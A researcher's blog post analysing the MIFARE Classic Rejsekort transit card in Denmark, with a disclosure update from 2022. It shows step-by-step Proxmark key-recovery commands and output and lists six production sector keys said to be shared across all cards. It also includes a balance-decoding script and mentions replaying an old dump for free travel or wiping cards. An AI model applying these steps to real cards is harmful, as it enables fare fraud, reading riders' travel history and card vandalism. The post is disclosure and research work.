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Rejsekortet - An obsolete travel smart card (updated)

This post attempts to analyzes the implementation of a certain type of contactless integrated circuit card used as ticketing system for public transportation in Denmark. This is known as the Rejsekort (travel card).

I will begin the post introducing the proximity integrated circuit card MIFARE Classic and a briefly cover of the RFID history. The following section will contain technical details on how the card data is dumped and analyzed. Lastly I'll discuss the employment of said cards and sum up my conclusions.

If theoretic requisites and history is irrelevant to you, you can skip directly to the hacking part. If you don't care about the introduction nor the technical details, you can skip to the conclusions. If you just need to see the update from Q3 2022, skip to the update

Introduction and methodology

Approach test environment
To capture the content and data stored on the travel card, a hardware tool named Proxmark 3 RDV4 was used. The Proxmark can be connected to a computer through a micro USB to USB cable and allows analyzing, modifying and breaking into smart cards and tags. The Proxmark is known as the swiss army knife of RFID security research.

I targeted the balance information of the travel card, due to my assessment that this would be the most likely subject of fraudulent manipulation in real world scenarios. To stay on top of the owners provisos as well as the federal laws, I avoided altering data on the purchased test travel card and authenticating with any of Rejsekort A/S systems in production. In order for empirical data to be as impeccable as possible, a brand new anonymous travel card was purchased. This avoids issues of data pollution, potentially leading to misleading results. I've gradually altered the travel card balance through normal usage, creating a new card dump for each time.

Origins and application
The majority of modernized people use smart cards, access chips or some other kind of circuit integrated tag. Most people also blindly trust these and neglect to question the security of their inner mechanisms. No matter if it is an access chip to the laundry room at an apartment complex or the access card to a countrys critical infrastructure, the quotidian user will most likely not give the security of the digital key a thought. It just works.

Radio frequency identification (RFID) is the process of auto identifying to a reader utilizing electromagnetic fields and radio transmissions. Commonly the reader is in a fixed place while the tag is the portable unit. Readers and tags come in countless shapes and sizes and use numerous technical specifications and protocols. A tag can be passive or active. Passive tags don’t contain batteries, but are powered through the electromagnetic field emitted by the reader, allowing the tag to be as small as a grain of rice. Active tags contain a dedicated battery allowing the tag to communicate both through radio frequency and electromagnetism. Active tags also allow a greater distance of communication and use higher frequencies.

Radio frequency identification origins in World War II. Germans noticed that their planes would reflect radar signals back to the original source when rolling the planes on approach. Allies would know that they identified themselves as friendly airplanes. Because no power source was needed in order to reflect the radar signals, it could be put as the planes being passive tags. While the Germans practiced this secret handshake, the British developed a system called identify friend or foe (IFF). IFF worked by placing a transponder on allied planes, that when picking up radar signals, would broadcast back a signal to identify themselves as friendly. This procedure needed a power source and thereby acted as an active tag.

Smart cards have been under development since the late 1960s. While the first patent application was filed in 1968, it’s within the last 20 years that development of contactless smart cards has accelerated. Smart cards are now a widely used technology that is witnessed constantly in every day life. Credit cards, publict ransportation travel cards, passports and access cards are all types of cards that have an integrated circuit implemented for contactless communication.

When discussing RFID tags, or cards, the majority of them divide into three categories. Low frequency (LF), high frequency (HF) and ultra high frequency(UHF). While these are the most common ranges of frequencies, more exist. Some active RFID tags made for toll payment operate in frequencies up to 5.8GHz (BroBizz) and the operating frequency for UHF usually depends on the geographical location.


Superior functionality
MIFARE Classic falls under the HF category and operates at 13.56MHz. Simplified, the MIFARE Classic 4K tag consists of four parts. A 4 kilobyte electrically erasable programmable read-only memory (EEPROM), a radio frequency interface, a digital control unit and an antenna. Amongst others, the RF interface is responsible for the modulation, demodulation and voltage regulation while the digital control unit is in charge of the actual communication to and from the reader as well as storing data in the EEPROM. The antenna is in charge of powering the chip using an electromagnetic field coming from the reader andhandles the response transmission as well. Below, a proximity coupling device (PCD), also known as a contactless reader, is shown serving energy and transmitting data to a proximity integrated circuit card (PICC). The PICC is then powered through the electromagnetic field and then transmits data back to the PCD.


Data storage and structure
It is vital to understand the structure of the EEPROM in order to investigate the stored data on the travel card. The memory of MIFARE Classic cards are organized in sectors and blocks. The MIFARE Classic 4K card in particular, is divided into 40 sectors. The first 32 sectors contain 4 blocks each while the last 8 sectors contain 16 blocks each, adding up to 256 blocks in total. Each sector and block can be referred to by number. For instance, sector 0 contains block 0-3, sector 1 contains block 4-7 and so on. Furthermore each block contains 16 bytes resulting in 128 bits per block.

The 4K in the name refers to the memory capacity of the EEPROM. The absolute amount of bytes available for storage is 256 blocks of 16 bytes which adds up to 4096 bytes. The same goes for MIFARE Classic 1K, a different type of tag from the MIFARE Classic family. 1K also refers to the 1024 bytes of memory split into 16 sectors with 4 blocks in each.

A graphical overview of the MIFARE Classic 4K memory layout can be seen below. The last block of each sector is called the sector trailer and contains Key A, Key B as well as the access bits. The keys are used to authorize to each sector. Key A is used when reading a sector while Key B is used when writing to one. The access bits are used to define which operations are allowed to be done for the specific sector. Key A is never readable while Key B can be configured to be readable. Along with access bits, Key A and Key B, a unused byte is also present in the sector trailer. The unused byte is defined as U below.

A big thank you to Flavio Garcia for letting me borrow his figure from A Practical Attack on the MIFARE Classic.
The publication can be found here.

NXP Semiconducters, the company behind the MIFARE Classic contactless card series uses a proprietary encryption algorithm to authenticate tags with readers as well as exchanging data between them. The cipher is known as CRYPTO1. CRYPTO1 utilizes a linear feedback shift register (LFSR) during initialization and authorization. A LFSR can be described as a function that iteratively perfoms an operation using the previous iterations output as its sole input. Thus the function output is deterministic given any previous state. The original state is usually provided by the user.

In 2007 a presentation by Karsten Nohl and Henryk Plötz revaled at the Chaos Community Congress in Germany revaeled a partial reverseengineering of the CRYPTO1 cipher. The paper, named Reverse-Engineering a Cryptographic RFID Tag was published in 2008.

In 2008 a security research group from Radboud University Nijmegen in The Netherlands fully reverse engineered the CRYPTO1 cipher. NXP Semiconductors tried to stop full disclosure of the cipher by injunction. A Practical Attack on the MIFARE Classic was published in 2008.

Common MIFARE Classic attacks:

When using the nested authentication attack at least one sector key must be known. The nested attack works by first authenticating to a sector of which one of the keys is known. This is followed by a nested authentication to other sectors. While authenticating, some of the key bits can be leaked resulting in uncovering complete keys one at a time. This process can be repeated until all keys are known.

The bruteforce or darkside attack utilizes a vulnerability as a part of the CRYPTO1 initialization. The attack is used when no keys are known before hand. The attack exploits a flaw in the pseudo random number generator and error responses, which leaks partial bits of the key stream. Repeating this enough times will eventually leak all 48 bits and the key is obtained.

In 2011, NXP Semiconductors released a new type of MIFARE Classic that had the pseudo random number generator vulnerability fixed. However in 2013 researchers found a new way of exploiting the new hardened MIFARE Classic cards. A practical attack on patched MIFARE Classic explains how the hardnested attack is not dependent on a weak random number generator, but exploits a flaw in the encrypted error code that returns with every authentication. A leak of four keystream bits per failed authentication is what eventually uncovers the key.

A secret binary format

Aquiring data
As mentioned in the beginning of this post, a Proxmark 3 is used to acquire data dumps from the anonymous travel card. The software accompanying the Proxmark uses the command line interface and must be run with administrative rights in order to access the serial port of which the Proxmark is connected to.

[user@host~/proxmark3/client]$ sudo ./proxmark3 /dev/ttyACM0

Once the software is running, the card is placed on the Proxmark and a HF tag is searched for.

[usb] pm3 --> hf search
[|] Searching for ISO14443-A tag...
[+]  UID : 52 7D BD 91
[+] TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1
[+] Prng detection: HARD

[+] Valid ISO14443-A tag found

Proxmark detects a ISO14443-A compatible tag. Notice that the MIFARE Classic tags are only compliant with ISO14443 part 1-3 as it uses the proprietary CRYPTO1 algorithm instead of the transmission protocol defined in part 4: Contactless proximity objects — Part 4: Transmission protocol. The pivotal information when attacking MIFARE Classic cards is using the original predictable or weak pseudo random number generator, or the patched version of the PRNG, here labeled 'HARD' by the Proxmark tool.

A common mistake when provisioning MIFARE Classic cards consists of failure to change the default keys. A command hf mf chk *4 ? can be run to see if this is the case. hf mf specifies the frequency and the card type MIFARE, while * is specified to run the check against all sectors. 4 specifies the tag memory and ? and is the option to run all default keys stored in the Proxmark source code.

Unfortunately no default keys are found when running the chk command. A darkside attack would be fit for use to uncover just one key, proceeding to uncover the remaining keys through a nested attack. However the card is not vulnerable to either of the attack types due to it being of the hardened version. The following message returns when launching the Darkside attack.

[-] card is not vulnerable to Dark-side attack (its random number generator is not predictable).

The card will still be vulnerable to the hardnested attack but as stated above, this attack requires at least one key to be known. Repeatedly trying keys from MIFARE Classic key dictionaries published online, show that one key successfully authorizes as key A to sector 0-7 and sector 39. The key is fc00018778f7.

[usb] pm3 --> hf mf chk *4 ? fc00018778f7
[ 0] key FC 00 01 87 78 F7
[=] found keys:
|sec| key A          |res| key B          |res|
|000|  fc00018778f7  | 1 |  ------------  | 0 |
|001|  fc00018778f7  | 1 |  ------------  | 0 |
|002|  fc00018778f7  | 1 |  ------------  | 0 |
|003|  fc00018778f7  | 1 |  ------------  | 0 |
|004|  fc00018778f7  | 1 |  ------------  | 0 |
|005|  fc00018778f7  | 1 |  ------------  | 0 |
|006|  fc00018778f7  | 1 |  ------------  | 0 |
|007|  fc00018778f7  | 1 |  ------------  | 0 |
|039|  fc00018778f7  | 1 |  ------------  | 0 |
[=] ( 0 :Failed / 1 :Success)

With one key obtained, we can uncover the rest of the keys with the hardnested attack. The syntax of the attack is shown below.

hf mf hardnested [known block][A/B] [known key] [target block][A/B]

To target sector 0 and key B, the constructed command is as follows.

hf mf hardnested 0 A fc00018778f7 0 B
[usb] pm3 --> hf mf hardnested 0 A fc00018778f7 0 B
--target block no:  0, target key type:B, known target key: 0x000000000000 (not set), file action: none, Slow: No, Tests: 0          ...
 time    | #nonces | Activity                                                | expected to brute force
         |         |                                                         | #states         | time
       0 |       0 | Start using 8 threads and AVX2 SIMD core                |                 |
       0 |       0 | Brute force benchmark: 986 million (2^29.9) keys/s      | 140737488355328 |    2d
       1 |       0 | Using 235 precalculated bitflip state tables            | 140737488355328 |    2d
       4 |     112 | Apply bit flip properties                               |    209830772736 |  4min
      23 |    2325 | (1. guess: Sum(a8) = 0)                                 |      1302331520 |    1s
      23 |    2325 | Apply Sum(a8) and all bytes bitflip properties          |      1245777280 |    1s
      23 |    2325 | Brute force phase completed. Key found: 00000ffe2488    |               0 |    0s       

The attack successfully retrieved Key B in sector 0 as 00000ffe2488. Running the chk command shows that the key is reused in the same sectors as key A.

[usb] pm3 --> hf mf chk *4 ? 00000ffe2488
[ 0] key 00 00 0F FE 24 88
[=] found keys:
|sec| key A          |res| key B          |res|
|000|  ------------  | 0 |  00000ffe2488  | 1 |
|001|  ------------  | 0 |  00000ffe2488  | 1 |
|002|  ------------  | 0 |  00000ffe2488  | 1 |
|003|  ------------  | 0 |  00000ffe2488  | 1 |
|004|  ------------  | 0 |  00000ffe2488  | 1 |
|005|  ------------  | 0 |  00000ffe2488  | 1 |
|006|  ------------  | 0 |  00000ffe2488  | 1 |
|007|  ------------  | 0 |  00000ffe2488  | 1 |
|039|  ------------  | 0 |  00000ffe2488  | 1 |
[=] ( 0 :Failed / 1 :Success)          

Repeating this process is time consuming, but it will eventually uncover keys for all 40 sectors. Creating a dictionary with the exact keys can be used with the d parameter to create a binary keyfile which then can be used to authorize and dump contents of the card. A total amount of six different keys were used for the entire card memory.

[usb] pm3 --> hf mf chk *4 ? rejsekort_keys.dic d
[+] Loaded  6 keys from rejsekort_keys.dic
[+] Time in checkkeys: 17 seconds
[=] found keys:
|sec| key A          |res| key B          |res|
|000|  fc00018778f7  | 1 |  00000ffe2488  | 1 |
|007|  fc00018778f7  | 1 |  00000ffe2488  | 1 |
|008|  0297927c0f77  | 1 |  ee0042f88840  | 1 |
|012|  0297927c0f77  | 1 |  ee0042f88840  | 1 |
|013|  722bfcc5375f  | 1 |  f1d83f964314  | 1 |
|038|  722bfcc5375f  | 1 |  f1d83f964314  | 1 |
|039|  fc00018778f7  | 1 |  00000ffe2488  | 1 |
[=] ( 0 :Failed / 1 :Success)
[+] Generating binary key file
[+] Found keys have been dumped to hf-mf-527DBD91-key-6.bin --> 0xffffffffffff has been inserted for unknown keys. 

The syntax of the command used to dump the contents of the card is shown below.

hf mf dump [card memory] [k name] [f name]

The following constructed command is then used to dump data contents of the card.

hf mf dump 4 k hf-mf-527DBD91-key-6.bin f travel_card
[usb] pm3 --> hf mf dump 4 k hf-mf-527DBD91-key-6.bin f travel_card
[=] Reading sector access bits...
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
[+] successfully read block  0 of sector  0.
[+] successfully read block  1 of sector  0.
[+] successfully read block  2 of sector  0.
[+] successfully read block  3 of sector  0.
[+] successfully read block  0 of sector  1.
[+] successfully read block  1 of sector  1.
[+] successfully read block 13 of sector 39.
[+] successfully read block 14 of sector 39.
[+] successfully read block 15 of sector 39.
[+] time: 64 seconds

[+] Succeeded in dumping all blocks

[+] saved 4096  bytes to binary file travel_card.bin
[+] saved 256  blocks to text file travel_card.eml
[+] saved to json file travel_card.json 

We have now obtained stored data on the travel card.

The card dumps provided three file types each. A binary file which is not readable for humans, an .eml file used by the Proxmark to emulate the card and a .json file which contains information of blocks, sectors, access rights etc. The .json file also contains a copy of the binary format in hexadecimals.

Dismantling data
Resekortsföreningen i Norden (RKF) or The Travel Card Association in the North was an association located in Sweden. Major public transport organizations constituted the members. Amongst others, Danske Statsbaner (DSB) was a member. RKF used to have PDF documents of the travel card specifications available online. The website no longer exists, but an archived version can be found on

Initially the data seems confusing, unintelligible and impossible to translate into understandable information. As stated earlier the objective of the dismantlement is to locate, extract and interpret the current balance of the card. In RKFs specification document: RKF Travel Card - Implementation Specification Type 1, a table describes the structure of the travel card data. I recreated the table partially below.


The travel card purse (TCPU) within the application layer is most likely the section containing the balance. Implementation Specification Details Type 1 contain a list of datatypes used within the card storage as well as an overview TCPU structure. The structure is split up into static data and dynamic data. The static and dynamic structures can be seen on the screendumpbs below.

Structure of TCPU static
RKF Travel Card Implementation Specification Details Type 1, 2002
Structure of TCPU dynamic
RKF Travel Card Implementation Specification Details Type 1, 2002

RKF Travel Card - Implementation Specification Type 1 states that the TCPU static and TCPU dynamic data element groups each take up one block of space. We know that the size of data elements in TCPU dynamic is not listed in bytes since this would exceed the maximum possible space in one block. Recall that one block consists of 16 bytes and one byte consists of 8 bits. The sum of all data elements in each data element group is 128 which is consistent with possible bits allocated in one block. Therefore the data stored can't be byte aligned, but must be bit aligned. This means we possibly will have to convert each block of data into binary or strings in order to decode actual values.

Looking at the screendump of the static TCPU, we can see that the sector containing the TCPU is recognised by the identifier 85. Looking through the data of the very first dump made shortly after the initial purchase, the card shows block 36 in sector 9 has the hexadecimal 85 as its first byte. RKF Travel Card - Implementation Specification Type 1 states that the TCPU must be placed within sector 2 and 15 of the card. The header of block 36 in sector 9 consists of 85, and presumeably is where the TCPU of the anonymous travel card is located.
"36": "8506F4010000000000000000ECA10000"
"37": "0000000000000000000E000000000000"
"38": "02001027000156020538210000000000"
"39": "0297927C0F7778778800EE0042F88840"

This being the very first dump with the card only containing the minimum amount as its balance, the amount to look for is 100.00 DKK. The balance is also confirmed by reading the travel card in a dedicated travel card top up stand as shown below.


While block 36 contains the static TCPU, block 37 being nearly empty and block 39 containing access bits, key A and key B, block 38, presumably is the block containing the dynamic TCPU. The 16 bytes in block 38 translates into a 128 bit binary string.

hexadecimal: 02 00 10 27 00 01 56 02 05 38 21 00 00 00 00 00
binary: 00000100 00000000 00110000 01110101 00000000 00000001 10001000 10000000
00000100 00111010 00100001 00000000 00000000 00000000 00000000 00000000

According to the documentation of TCPU dynamic structure, the 24 bit sequence containing the balance information should be located in position 31 to 55 with the purse transaction number (16 bits) and the end date (14 bits) in front of it. The bits in position 31- and 55 is 010000000000000001100010, translating to 4194402 in decimal value is no where near the value of 100.00 DKK.

The decimal values 100, or 10000 if listed with decimals, will translate to 1100100 and 10011100010000 respectively as binary strings. The documentation is nearly 20 years old and the card contents may be configured differently now. But the binary string of sector 38 does not contain the binary sequence of the number 100 either. Why is this? Comparing sector 9 block 38 of different dumps does not seem to provide clues other than the first byte slowly incrementing.

Sector 9 block 38 of each card dump is shown below:

100,00 DKK : 02001027000156020538210000000000
300,00 DKK : 0400307500018880043A210000000000
284,00 DKK : 0600F06E00018880047A210000000000
271,20 DKK : 0A00F06900018880047B210000000000

This hurdle caused a significant delay while in the phase of analysis but was eventually resolved. The hexadecimal value of 10000 is 2710 and while this isn't to be found in sector 38, the bytes 27 and 10 can be found, only in reversed order. Flipping the bytes in pairs so that the first bytes of sector 38 is 00 02 27 10 partially fits the description of the purse transaction number and the balance of the TCPU. To ensure this wasn't a coincidence, I wrote a python script to automatically translates the bytes containing the balance when passed as an argument.

import sys
import sys
b38 = sys.argv[1:]
scale = 16
num_of_bits = 14
arg = 0

for block in sys.argv[1:]:

    tra_num = block[2:4]+block[0:2]
    balance = block[6:8]+block[4:6]
    print "----------ARGUMENT", arg, "----------\n"
    print "Transaction number: ", int(tra_num, 16)
    print "Balance:", int(balance, 16), "DKK\n", "Hex: ", balance,
    print "Bin: ", bin(int(balance, scale))[2:].zfill(num_of_bits), "\n"

The script was then run on the dumps that had a balance of 100.00 DKK and 300.00 as well as dumps that had decreased the balance from 300.00 DKK to 284.00 DKK and finally 271.20 DKK. The decreased balance was reached through ordinary use of the card. Running the script with block 38 from each of the dumps as arguments returned the correct information.

The balance history of the travel card parsed through a top up stand is shown below and is consistent with the results from the script run on each data dump.

[user@host~/Desktop]$ python 02001027000156020538210000000000 \
 0400307500018880043A210000000000 0600F06E00018880047A210000000000\
----------ARGUMENT 1 ----------

Transaction number:  2
Balance: 10000 DKK
Hex:  2710
Bin:  10011100010000

----------ARGUMENT 2 ----------

Transaction number:  4
Balance: 30000 DKK
Hex:  7530
Bin:  111010100110000

----------ARGUMENT 3 ----------

Transaction number:  6
Balance: 28400 DKK
Hex:  6EF0
Bin:  110111011110000

----------ARGUMENT 4 ----------

Transaction number:  10
Balance: 27120 DKK
Hex:  69F0
Bin:  110100111110000

I can't account for the changes of the transaction number, but I believe the number alters every time a check in and a check-out is performed, explaining why it increments by 2 for each dump as well as incrementing 4 between the last two dumps where two transports were conducted within the same hour, keeping the balance consistent.


Security through obscurity
The term ”security through obscurity” originates in the late 19th century. Dutch cryptographer Auguste Kerckhoffs, published a set of articles containing six principles on what he believed was a necessity to create a secure cryptosystem. Principle number two is as follows.

”The falling of the cryptosystem into the hands of an intruder should not lead to any compromise of the system, preventing any inconvenience to the user.”

What Kerchoffs meant by this, was that a cryptosystem had to have mechanism of cryptography, that even in the hands of enemies would not be compromised. Already in 1883, the idea of not using secrecy as a security measure was created. This is what later became known as security by obscurity.

I've dumped the contents of my personal travel card as well as a couple of my acquaintances to gather as much information as possible. After doing so I noticed the sector trailers, containing key A and B was identical between all cards. This leads to risks of disruption and privacy. Knowing all keys and their exact affiliation with each sector reduces the time frame considerably of which a card can be dumped or be wiped of data.

The thought of digital disruption carried out by bricking and destroying travel cards belonging to random bystanders and passengers may seem absurd. But if someone carried out vandalism disrupting the operation of the travel card system or the organ in charge of public transportation, it could cause a severe economical impact. Let alone the ensuing negative press coverage when uncovered that the security vulnerabilities were known since before the implementation of travel cards. And a hardware device with the intent to wipe cards from distance, either hidden in a backpack or secretly mounted mounted on check in/top up stands would not require rocket science knowledge to contruct.

It could be questioned whether only using six different keys shared between all existing travel cards is responsible. This because of the last thirteen travels, including date, time, start and stop whereabouts are stored on the travel card. Potentially, personal travel history could be gathered.

The security by obscurity approach did not work this time and the travel card data can definitely be interpreted. The easiest way to travel for free however, would be to rewrite a previous dump onto the travel card with, containing a higher balance. This may also bypass some trouble with the HMAC stored in the TCPU. Regarding the hazards of fraudulent activities, only a few cases have been circulating the media throughout the years. While possible, the gains of fraudulent behavior compared with the risk of getting caught and the subsequent consequences, do not constitute a worthy tradeoff.

A travel card with a MIFARE Classic chip can be considered a sufficient solution. It has been in production for 10 years and so far it has shown to be a somewhat functional solution with no enormous accompanying scandals. However, the possibility of privacy harvesting or digital vandalism could be minimized, partially hindered or completely prevented by implementing rolling key codes, applying unique keys to each card or completely substituting the card type with DESFire, as London did in 2009. The risks and the cost of carrying out such changes is to be deliberated by someone else. These changes may not be compatible or possible to unproblematically implement and it's not clear whether the fortification is worth it or actually necessary. The pros and cons must be weighed and probabilities must also be taken into account when deciding for alteration of a current functioning system in a production environment.

In early August, I contacted Rejsekort A/S and asked them about the existing vulnerabilities in the travel card. They let me know that they have decided to migrate to DESFire cards and that they'll be conducting a pilot project with them in 2020. Exciting news. A quick Google search returned the following result.


Apparantly, the pilot project of implementing DESFire cards have been on draw sketch board sometime in 2018 and was meant to be carried out in Q1 of 2019, but was postponed or cancelled for unknown reasons.

Embracing and openly discussing the subject of cyber security indicates maturity, responsibility and credibility.

Secrecy is not an effective security mechanism, and certainly not when it’s the only one.

If you made it this far, thank you for reading.

Update Q3 2022

A couple of months ago, a reader encouraged me to contact Rejsekort A/S and ask them about the progress of the DESFire pilot project. I too am curious of the project status, so I decided to reply to the original thread from august 2020. Instead of disseminating the correspondance, I'll publish it below. Please note that the e-mails are not the exact wording as they are translated to the best of my ability.

On 6/25/22, 15:22, <redacted> wrote:
Subject: <redacted>

Dear <redacted>,

It's been almost 2 years since I contacted Rejsekort & Rejseplan A/S regarding the security of Rejsekort that is in production. I've found the following plan of action <link to PDF>.

The PDF says, if I read correctly, that a pilot project regarding tests of DESFire cards has been postponed from Q1 2019 to 2020. I assume that it's the same pilot project that you mention in the answers to my original questions on august 4th 2020.

To a great extent, there still are problems concerning the privacy when insecurely storing personal travel history and balance. I've been wondering what the status of the implementation and provisioning of DESFire cards is. I hope you can answer my questions:

Is the pilot project initiated? When was it initiated? Is it concluded?

Is the actual implementation/replacement of DESFire/Classic commenced?

What is Rejsekort & Rejseplan A/S timeline regarding the replacment of Classic cards and when does Rejsekort & Rejseplan A/S expect all MIFARE Classic cards to be phased out?

I look forward to hearing back from you.

Best regards,
On 6/28/22, 12:50, <redacted> wrote:
Subject: <redacted>

Dear <redacted>,

Thank you for your continuous interest in Rejsekort.

The replacement of Mifare to Desfire card type has begun and will continue over the next couple of years. There are a great number of cards that needs replacement, which means that both cards will be in production for a while. You and other customers will experience that both card types will be on the market for a few years. We don't have a final date for the replacements of Mirare to Desfire.

Have a good summer.

Best regards,
On 7/5/22, 19:53, <redacted> wrote:
Subject: <redacted>

Thank you for your answer.

Can you inform me of the amount of DESFire cards provisioned so far?

And is it strictly DESFire cards provisioned when a user purchases a new card (anonymous/personal), or does the user ongoingly risk getting a card of type MIFARE Classic when purchasing a Rejsekort?

Best regards,
On 7/6/22, 12:27, <redacted> wrote:
Subject: <redacted>

Dear <redacted>,

Hello again

Unfortunately we can not inform of the amount of Desfire card issued.

For a good while, there will be issued both Mifare and Desfire cards.

Have a good summer

Best regards,

So there it is. As per July 6th 2022, Rejsekort A/S are provisioning MIFARE DESFire cards and MIFARE Classic cards with well known security issues. It is unknown how many DESFire cards are provisioned so far, but we can expect the transition to take a good while.